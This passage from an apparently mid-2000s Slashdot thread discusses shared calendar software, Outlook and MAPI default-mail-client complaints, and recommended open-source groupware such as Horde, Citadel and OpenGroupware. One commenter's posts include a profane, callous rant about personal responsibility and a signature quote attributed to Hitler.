      It DID work in MS Office 2000, I'm not sure about 2002/XP, but probably, like 2003 it no longer works. In effect MS disabled it for non MS programs.

    4. Re:Lotus by Deternal · · Score: 1

      Really? I thought the monopoly cases only went as far as windows and didn't go into the Office monopoly.
      Since this is only an office thing I'm not sure it applies.

      Anyway, I have no problem contacting the DOJ, even though the EU Commision would be more relevant for me.

    5. Re:Lotus by osssmkatz · · Score: 1

      I have a tendency to assume that everyone is US based. My apologies. I really don't like getting Microsoft in trouble. If they had a place to report an issue with "Set Program Access and Defaults" that was not legalistic, I would do so.

      Here are the US websites:
      http://www.microsoft-antitrust.gov/
      http://www.thetc.org/

      My AG recommended reporting complaints to both.

      I just had an idea that perhaps an Ask Slashdot would be appropriate for this. We could get several complaints. For me, the complaint is two part or possibly three parts:
      a) Outlook should be in the "Mail" section of "Set Access Programs and Defaults". It is "middleware".
      b) Let me know if this is still the case. Installing patches, reinstalling Office, or repairing Outlook set Outlook as the default mail client. As my father points out, this isn't Microsoft being malicious, as third party clients don't necessarily register MAPI correctly.
      c) we finally get to your complaint.

      Have you thought about contacting the mail client's support? In other words, if you use Eudora, contact them. If you use The Bat! contact them. Sometimes, it's a simple matter of installing a Simple MAPI handler.

      As for the "bundling" argument, once it registers with MAPI, you could argue that it is "iilegal tying", esp. since MAPI is proprietary. Again, a letter from the vendor saying that they agree would maybe bolster your claim. Although in the US, it is the "consumer" who has to be harmed, not the vendor. You might be able to get a Mozilla dev to say so, on the appropriate bug. I filed some bugs related to MAPI using the Bat!'s bug tracking system.

      http://bt.ritlabs.com/

      --Sam

    6. Re:Lotus by osssmkatz · · Score: 1

      You know I really do not appreciate that. I switched from Mac to Windows as soon as I could (Windows 98), because it appeared more stable when looking at Windows 95. And in all honesty, it was. stable. I even stabilized Windows ME, by carefully tracking resource leaks in .. Eudora, and deciding to ditch it because it was too leaky. (Outlook was not an option at this point because it didn't filter existing messages.. it does now.)

      What I slowly discovered was that Active Desktop caused major stability and speed issues on Windows 98. Spyware soon arose and made the problem worse. Windows XP SP2 eliminated almost all of the problems, but for me, caused some more error messages in the error reporting module. (dw.exe). Both iedw.exe and dw.exe that shipped with Office XP would crash regularly on my system. IE could not be repaired because Windows XP no longer had that option, given some lawyer's desire to insist that IE was part of the operating system.

      I use software that works, which sometimes is Microsoft's. Onenote is a work of genius, and I used it when Office was unstable, because of its autosave/never save functionality.

      Microsoft should be applauded for Windows 95, the NT kernel, Windows 2000 and Windows XP. I look forward to the auto-hardware failure (RAM and hard disk) detection features which should make diagnosis of blue screens much less painful. I look forward to Vista, and Onecare.

      One of the problems I had with contacting Microsoft with my problems was that because dw.exe is also the name of spyware, and I had installed Kazaa in the past to test to see if it had spyware, it took longer to convince them and myself that it wasn't spyware, and it may have been. (I ran every antispyware tool on the planet --over 15 and more like 25, checking registry entries and startup items, before I assured myself that it wasn't spyware and did a paid support call.) Whether it was or not, it was in the Office directory with an Office icon. (Removing it got rid of the error message. Microsoft was still not satisified with that solution, because it involved removing a Microsoft componet.) The issue never got resolved -- in part because Microsoft called me at home even though I told them that I would be at college. The support appeared to be reasonably good though. I also have a physical disability which makes dialing numbers off of a voicemail difficult.

      Because MS is a corporation, and it is impossible to actually affect change, using the legal settlement to reach Microsoft insiders is an effective strategy. I do not intend to hurt them or their profits.

      --Sam

    7. Re:Lotus by Deternal · · Score: 1

      Well, it obviously is MS changing something in MS Office, since, as noted, the function worked fine in Office 2K, and no longer works in Office 2K3.

      The MAPI thing is a little different IMHO, since MS included the function in windows untill 2K, but then moved the function from windows to office, meaning that if you wanted to use it you need to install outlook along with office (I've made some programs work with notes this way).

      Simply put, MS has willfully made 2 changes to make it more of a hassle to use other programs than outlook. The moving MAPI from Windows to Office and the disabling the send to mail recipient feature in Office for non outlook mail programs.

      You are probably right in that I should lodge a complaint and notify the vendor tho :)

    8. Re:Lotus by osssmkatz · · Score: 1

      Ok. so you are talking about Lotus notes. Good to know.

      http://support.microsoft.com/?kbid=190146

      This knowledge base article seems to suggest that it was possible in Outlook 98.

      If you haven't heard of MAPI, it's worth a Google search.

      --Sam
      P.S a support call to Microsoft might reveal some workarounds, and they will then post a knowledge base article about it. ($35 only if they can solve your problem) You might make it clear that you consider it a bug (bugs are free).

    9. Re:Lotus by Deternal · · Score: 1

      I'm thinking we are talking past each other here:

      MAPI support has since windows 2000 not been part of windows. Instead MAPI support has been moved to the Office package, and only installed with the Outlook from MS Office.

      Thus, programs that need MAPI support, has since Windows 2000 also required that Outlook be installed.

      The article you link to, points out that Lotus Notes supports MAPI, of course MAPI support needs to be installed.

      So my complaint was that since Windows 2000, MAPI support requires a MS Office 2000+ license.

      This is not to be confused with my first complaint which is the internal handling of sending files to other programs, where MS has disabled support for sending files to other mail programs then Outlook in Office 2003 and maybe XP (2002).

    10. Re:Lotus by osssmkatz · · Score: 1

      Thanks for the clarification. Åre you looking for extended mapi support, or simple mapi support?

      You may find the following useful:
      1. Does Lotus Notes support set program and defaults? If not, goto step 2. If so, goto step 2.
      2. In the Programs tab on the Internet Options control panel, is Mail set to be Lotus Notes?
      a. Set it to blank.
      b. set it to Lotus Notes

      This may solve your issue. Or have you already gotten MAPI to work with Word?

      Summary:
      simple vs. extended?
      some troubleshooting steps

    11. Re:Lotus by Anonymous Coward · · Score: 0

      Go with workplace if you like your calendar software slow and bloated. Do you want your calendar to use ~400 megs of ram? I don't.

  25. Training people to use Outlook is just as bad. by DaedalusHKX · · Score: 1

    When people have used nothing before, training is easy, they'll screw it all up, I know since I had to train when I did IT... I hated it... and loved it. I could get MORE billable hours out of training people than out of "fixing" things... they always got upset when I did the spyware thing every time. (And always found stuff, despite holding sessions with the client's staff.) But yeah... training WAS more expensive than an exchange license, you forget the big iron to run that piece of shit 2003, AND 2003 (probably SBServer so you get the whole enchillada).

    I've seen those servers hacked, cracked and fucked by just viewing sites ... and I don't mean porn either.

    There are reasons why hackers and geeks hate M$, and just because they are a big "easy" in the corporate climbing agenda, doesn't mean that small businesses or people who've not been stuck on exchange before can't use other things.

    I learned a lot of things on OSS and its helped me enjoy leaving IT all the more. IT is probably the least enjoyable job OUT there... you work your ass off and get fucked over, all to make M$ more money... no thanks.

    ~D

    PS - try PHPGroupware... its been awhile since I've needed to share a calendar though....

    --
    " What luck for rulers that men do not think" - Adolf Hitler
    1. Re:Training people to use Outlook is just as bad. by jrockway · · Score: 1

      Exactly. I've never used Exchange, so I would require training to use it. Plus, we don't have any Windows machines around here, so I'm not sure what it would run on.

      Needless to say, WebDAV and iCal is as advanced as we need, and that's free.

      The developers prefer plain text files, though.

      --
      My other car is first.
    2. Re:Training people to use Outlook is just as bad. by ttfkam · · Score: 1
      You've never used Outlook/Exchange, but you feel qualified to comment on using it?
      Needless to say, WebDAV and iCal is as advanced as we need, and that's free.

      Leaving aside the fact that Outlook/Exchange supports iCal, you seem to miss a very simple set of facts:
      • Most users don't know what WebDAV is.
      • Most users don't know what iCal is.
      • Most users don't know what a "file repository" is.
      • Most users don't to know the above just as you probably don't want to know the implementation details of their jobs.
      • Most users want to click a button titled "New Appointment."
      • Most users want to receive a window asking "Accept" or "Decline."
      • Most users want to see at a glance when others have an opening in their schedules.
      • Most users want to receive a reminder that an appointment is coming up.
      • Most users want to avoid any complexity over and above what is absolutely necessary to accomplish the above.

      Do you have a solution for the 90% of companies like these?
      The developers prefer plain text files, though.

      Developers make up 0.001% of company personnel overall. What about the other 99.999%? (For the record, I'm part of the 0.001%)
      --

      - I don't need to go outside, my CRT tan'll do me just fine.
    3. Re:Training people to use Outlook is just as bad. by ttfkam · · Score: 1
      There are reasons why hackers and geeks hate M$, and just because they are a big "easy" in the corporate climbing agenda, doesn't mean that small businesses or people who've not been stuck on exchange before can't use other things.

      If you were talking about IIS vs. Apache or Windows 2003 vs. Debian, I'd be inclined to agree.

      However...

      as much as Outlook has been a virus/worm/trojan breeding ground, it still performs its duties (e-mail + calendaring + task list) better than any open source application out there.

      Web-based solutions only take you so far. For example, have you tried using Gmail with installing a new mail notifier? Like Thunderbird, you need some blip, ding, dialog box, etc. to give you the message. Modal javascript alert boxes from a web app that interrupt your ability to work during the notice do not cut it. No, you need a standalone application, separate from a browser.

      Speaking of a browser, you knew that Outlook was also available in a web interface, right?

      Do I think Outlook/Exchange are perfect? Of course not. Do I even think they are good? Not quite. The problem is that the open source "solutions" are even worse! No, they don't transmit viruses like Outlook/Exchange, but they let people get their jobs done (in between worm outbreaks). Using an open source solution in a normal work environment with hundreds of people is like enforcing network security by clipping the outside link to the Internet. Is it secure? Yes! Absolutely secure. No one is getting into your network.

      Sometimes bad is better than worse. Just because you left the industry doesn't mean the rest of us suddenly get to ignore the problem.

      Wake me when the Thunderbird/Sunfire integration is complete. Then we'll talk.
      --

      - I don't need to go outside, my CRT tan'll do me just fine.
    4. Re:Training people to use Outlook is just as bad. by DaedalusHKX · · Score: 1

      I am quite aware about OWA, outlook web access as M$ calls it, I'm also aware about what they DONT tell you (that its VERY easily cracked by anyone willing to put the time and effort into it).

      The basic version works with Firefox, but it is mainly an active X thing, though in all honesty you could build a nicer OSS version in PHP without nearly as many headaches and help the community as well (it has already been done, but not by M$).

      Anyways, I don't know how YOU have all of these issues, most of my things work... the only bug driving me up the wall, is the fact that M$ still has that broken IIS/Explorer transmit/receive thing with non M$ browser/server etc.. but my servers don't refuse User Agents IE, just send them to a plain HTML/PHP and throttle the number that can reach the site and print a warning to PLEASE UPGRADE TO A BETTER BROWSER HREF=FIREFOX, etc... I honestly prefer Konqueror or Safari, since most of what works on them will work easilly on the other two bigger browsers... mostly.

      But its okay, they'll patch the broken IIS/IE transmits in Vista 3, and call it an "innovation"... as if proper TCP behaviour was a "new innovation"... heh... and the fools will gobble it up.

      ~D

      PS - I drive a non synchronized stick shift because I love it, not because it is easy, and I have learned how it can make my life easy... especially in traffic jams... :) Hint... I bothered to learn... what an amazing breakthrough concept, eh? That learning would improve me as a person and make my job life easier and less boring... wow... amazing indeed.

      --
      " What luck for rulers that men do not think" - Adolf Hitler
  26. KDE KOrganiser by TinheadNed · · Score: 1

    It can access vcal calendars via ssh or ftp.

  27. Various good web-based options. by Domini · · Score: 4, Informative

    In order of preference:

    1. horde-kronolith http://www.horde.org/kronolith/ (horde suite is quite comprehensive and easy to set up)
    2. webcalendar http://www.k5n.us/webcalendar.php
    3. MediaWiki with calendar plugin (a little bit tricky to set up, and not as great to use as previous two)

    Basically the shared feature of horde is pretty powerfull with a good rights-system. They also alow calendars to be exported etc.

    Check them out.

    1. Re:Various good web-based options. by modir · · Score: 1

      I would like to add http://www.opengroupware.org/ to your list.

      I was searching something similar like the person asking. I just needed a little bit more (Palm). For me OGo is the best solution.

    2. Re:Various good web-based options. by CoolHnd30 · · Score: 1

      egroupware.org is a good solution, I've been using it for over a year now (and phpgroupware from which it was forked for a year before that). It has many advanced capabilities, but can be kept simple. It's easy as cake to install on Debian, too.

  28. Citadel by mcbridematt · · Score: 2, Interesting

    Citadel + WebCit, Aethera or some other clients.

    You can create a Calendar room accessible by everyone (or acl'ed as you wish) and people can edit as they wish, as a plus it can handle your mail, among other things. If you want to have a play with WebCit, log onto Uncensored BBS or one of the others.

    Disclaimer: I'm to blame for the upcoming NNTP implementation in Citadel, along with a patch to use Bogofilter, and the token Australian node on the "IGnet".

    1. Re:Citadel by Dr.Dubious+DDQ · · Score: 1

      I'll add a vote for this, at least on a "try it out and see how it works for you" basis - my experience with it is limited at this point but I like what I see so far.

      I've just started using Citadel as an SMTP/IMAP server to see how it works. It was pretty easy to compile and get running, and seems to work painlessly with Thunderbird. I haven't tried calendars in it yet, but that's "soon" on my list, once I've had time to find the documentation on it.

      I had a problem getting webcit to run properly, but I haven't really had time to dig into that yet. Probably just something stupid I've done on my end.

  29. Wrong approach by droleary · · Score: 1

    It really sounds like you're trying to use publishing where it isn't appropriate. If anyone can edit a particular calendar, it isn't really "someone else's". The only type of server I see a need to involve is a file server, and you'd simply use whatever calendaring application you prefer to edit the files directly. As a bonus, standard file-based permission can be used to restrict access to the group of people who can edit them. Everything else you're talking about seems to be overkill for a small business.

  30. Hula Project by sruchris · · Score: 2, Informative

    Check out Novell's Hula Project

    1. Re:Hula Project by Anonymous Coward · · Score: 1, Informative

      It isn't ready for use yet! Read their FAQ page under the supported client section. Every single client is either TBD (to be done) or "Planned (via CalDAV)." That obviously isn't a solution.

  31. Do you really want others to edit your Calendar? by gstoddart · · Score: 3, Insightful

    Really edit, or do you wish to be able to invite people?

    My first response to that actual ability for you to edit someone else's calendar is acceptance and actually being able to make it.

    If someone edits your schedule without you knowing, you may not kow the scheduled item is in place. Likewise, if someone decides you need to be at their power-point meeting instead of picking up someone at the airport, that's bad.

    I'm of the firm opinion that people need to be able to accept invitations instead of simply being informed they'll be showing up at a certain time. It's my time to manage, not yours.

    Then again, I'm not a fan of having schedules imposed on me by other people. So the idea of somsone else editing the final version of my schedule would make me rather irate.

    --
    Lost at C:>. Found at C.
  32. My favorite webcal by sootman · · Score: 1

    I've been using this for years. The calendar itself is Perl and the data is stored in plain text files. Very flexible, very simple. With no customization it's great, and if you're not scared of editing things in Perl (you don't have to KNOW Perl, just know enough about code to recognize what lines to copy-n-paste, how to set variables, etc.--if you got WebDAV working, you can probably handle this.) it's pretty much unlimited. It's $25 shareware though since it's Perl it obviously doesn't expire or anything. Just download it, use it, and pay if you want.

    --
    Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
  33. usefull question by ajrs · · Score: 1

    I feel happy about the origional question, because I have the same question. And if it keeps getting asked, the answer will keep changing.

  34. iPlanet Calendar Server by oneiros27 · · Score: 1

    iPlanet Calendar Server, formerly Netscape Calendar Server, and SunOne Calendar Server before being renamed Sun Java System Calendar Server, uses LDAP for its authentication. (to be specific, the Netscape/iPlanet/SunOne/SunJava System Directory Server, or whatever they're calling it this week)

    The calendar server uses LDAP not just for authentication, but also to store user's preferences. (as do sun's mail server and other products)

    --
    Build it, and they will come^Hplain.
  35. Time & Chaos by Anonymous Coward · · Score: 0

    It's stupid simple. It has the ability to share an address book as well as maintain individual calenders, and to do lists, that other users can modify or simply have a shared calender. It doesn't need a dedicated server or server packaged to run. You can set-up mail merge documents that automatically populate with information from your address book. It can integrate into your established e-mail client and even a fax server if you have one. It's not free but it is pretty cheap. Unfortunately it is windows only.
    http://www.chaossoftware.com/

  36. I'm not really sure about your needs... by lpangelrob · · Score: 1
    But here are some guesses anyway.

    1. Use a wiki. Mediawiki works fine for me, it's easy to use and should be easy for you guys to pick up. Plus I'm sure you'll find more uses for it.
    2. Barring that, get a large 16 month calendar... either a whiteboard one that you can wipe off every month, or one of these that are a foot and a half by two and a half feet. I'm going to guess you don't need to plan ahead too far in advance.
    3. If your needs aren't that great, there's nothing wrong with just a regular ol' 12 month calendar.
  37. CGI Calendar by ecklesweb · · Score: 1

    shameless plug, and probably more simple than you're looking for, but who knows...

    CGI Calendar
    (hosted at Sourceforge, licensed under GPL)

  38. Been there, done that.... by peter1 · · Score: 1
    I had a similar problem at a client of mine that runs primarly on Mac's. They not only wanted multiple shared calendars, but also wanted shared contact information. As you, I looked into ways of sharing both iCal and Address Book, but came up with short comings to both.

    After poking around the net for a while, I found these guys http://www.xcnetwork.com/index.jsp. Ok, so its costs money but it solves all the issues, and best of all it is cross-platform.

    Their various plug-ins run on the Mac, Windows and Unix platforms as do the server back end. Basically the local plug-in allows them to put the respective data onto the local software, while still letting your system think that you are the only user of it.

    Even though we finally did not use them (the owner purchased a comprehensive office product that among other functions has both a calendaring and a contact management system in it), the demo that I setup was functional. Peter

  39. OpenGroupware.org by ke4qqq · · Score: 1

    You should take a look at OpenGroupware.org. It's quite mature, and in addition to providing facilities for calendaring/mail/rudimentary document, project and contact management, it supports your beloved thunderbird.

  40. Re:Do you really want others to edit your Calendar by SlamMan · · Score: 1

    Yes, people need the ability to edit other's calendars. As a dev, you managed your own time. As a CEO, others manage your time. Its one of the big things secretaries do.

    --
    Mod point free since 2001
  41. Apache does LDAP by Anonymous Coward · · Score: 0

    mod_authz_ldap I think, and perhaps a couple of others... we use LDAP authentication in Samba, Win2003, linux, solaris, HPUX, Apache, and sendmail (we do LDAP mail routing in sendmail too) with a single database backend running OpenLDAP. OK, it's not really a single database, it's a single master with a couple dozen slave instances and automatic referrals and updating, but it's a single data image.

    It was hard to set up, but totally worth it. Runs like a dream.

  42. *whoosh!* What was that? by ttfkam · · Score: 1
    I'm also aware about what they DONT tell you (that its VERY easily cracked by anyone willing to put the time and effort into it).
    I'm very curious about this. How exactly would this be done when OWA is working over an HTTPS connection? Got a reference?
    The basic version works with Firefox, but it is mainly an active X thing
    Yes, it's Microsoft. I don't really understand why people responding to me think that I like the product. I simply hate the alternatives even more.
    though in all honesty you could build a nicer OSS version in PHP
    No, you can't. You must provide notification on new e-mail and for scheduled tasks/events. A modal alert dialog box does not cut it. In addition, how do you keep it straight easily? Oh look! The taskbar has eight browser windows open. Tabs help somewhat, but if you have another tab active, the taskbar shows the title of the alternate page, not your e-mail app.

    Could you handle it? Yes. Can I handle it? Yes. Would it frustrate Frank in marketing? You're damn right it will!

    The e-mail/calendering app needs to be integrated, it needs to be a separate program from the others, and it needs to be integrated with the platform you are running. This doesn't mean the app can't be cross-platform like Thunderbird or Eudora. In fact, that's preferred.
    I am actively learning how to code XUL apps. I am no great fan of IE. Okay, I admit it, I hate IE with a passion as it has made my life far more difficult than it needed to be on many web development occasions. I am also no great fan of Outlook. It is the single greatest propagator of viruses and worms in computing history.

    But Windows/Mac makes up 95% of all office workstations. IE makes up 85% of all browsers in use. Be idealistic in your goals but pragmatic in your methods. Work for bringing alternatives forward, but be aware of the world as it exists today. (Note: I didn't say "accept." I said "be aware of.")

    Broken record: When the Thunderbird/Sunfire integration is deliverable (or some other contender emerges from the aether), I'll be actively pushing for a wholesale dumping of Outlook. Until that moment, sadly, it's Outlook.
    I drive a non synchronized stick shift because I love it, not because it is easy
    Good for you. Can you grow your own food? Do you know how to farm? It isn't easy, but many people find it rewarding. It also helps to make you more self-sufficient.

    The lesson here is that not everyone needs to take in interest in the same things that you do.
    --

    - I don't need to go outside, my CRT tan'll do me just fine.
    1. Re:*whoosh!* What was that? by DaedalusHKX · · Score: 1

      Broken record: When the Thunderbird/Sunfire integration is deliverable (or some other contender emerges from the aether), I'll be actively pushing for a wholesale dumping of Outlook. Until that moment, sadly, it's Outlook.

              I drive a non synchronized stick shift because I love it, not because it is easy

      Good for you. Can you grow your own food? Do you know how to farm? It isn't easy, but many people find it rewarding. It also helps to make you more self-sufficient.

      The lesson here is that not everyone needs to take in interest in the same things that you do.


      I learned that lesson a long time ago, but I also rejected it after I worked in IT, most people are too stupid for their own good... (and for the record, I'm not a farmer, but I do know how to grow most vegetables, and have lived on a farm for a few years of my very early childhood, some of it did stay with me... I also have a rudimentary knowledge of cooking, I can program C++ and (unfortunately) BASIC, script in Perl and PHP, speak/read/write 3 fluent languages, can fix cars, and to some extent trucks, I can do plumbing and air conditioning work, I've done gas fitting but I don't have a permit so I can't do it for a living, and I can do electrical work... and that was all before I turned 21, I'm 26 now :) do the math. Oh yeah, I'm also a pretty good shot with a rifle and I'm in great shape (can run 2 to 3 miles without stopping).

      Indeed most people don't take an interest in the things I do (namely self improvement in the REAL sense of the word), but if they don't take an interest, then their collective stupidity will only allow to the market the ideas that I can't stand... which will, in the long run, turn ME into a pathetic quivering mass of lard like them... sitting on the couch all day, hoping that "Friends" will live for them.

      Also, to throw in another bone, WHY are we making "laws to protect" "children"... if they can't learn to think for themselves they will end up lazy fat idiots who only want someone to cater to their whims and can't do a thing on their own... sure the governments want that... less chance someone will take their chewbone away if everyone is enslaved to the punchclock and asinine laws that make little sense in a "free" society... but in all reality, do you wonder why so many of these people living in the so called "land of the free" cannot accept the responsibilities that came with freedom... and thus are slowly throwing it away for themselves AND for those of us that do want it?

      I say, give people choices, but make THEM responsible for their decisions. Not corporations, not governments... and make the penalties more severe... "you want outlook? okay, its easy to use, but don't cry or contest a bill from your IT goons, because YOU made that decision, YOU were dumb enough to be sold on windows for business uses..."... or better yet... "can't take care of your child? then don't fucking cry if he or she gets kidnapped or abused"... its survival people... and the more we pamper our panzy asses, the more we'll become pathetic and unlikely TO SURVIVE IN THE LONG RUN!

      ~D

      --
      " What luck for rulers that men do not think" - Adolf Hitler
  43. workgroupshare.com - and outlook by Longshottek · · Score: 1

    I really can't believe I'm apparently the first one to mention Workgroupshare.
    (at workgroupshare.com).
    It's relatively cheap ($150 for 5 users) - allows people to share calendars, emails, contacts, etc.
    I've used it for a while and can't really complain.
    It allows advanced permissions (so only certain users can see your emails, or only certain users can modify /view your calendar, etc..)
    and is overall, a pretty mature product, IMHO.
    I have more than a couple of clients that use it without problem.

  44. zimbra group calendaring by anandp · · Score: 1

    Check out the new group calendaring screen shots that went on our blog yesterday:

    http://www.zimbra.com/blog/archives/2005/10/calend ar_candy.html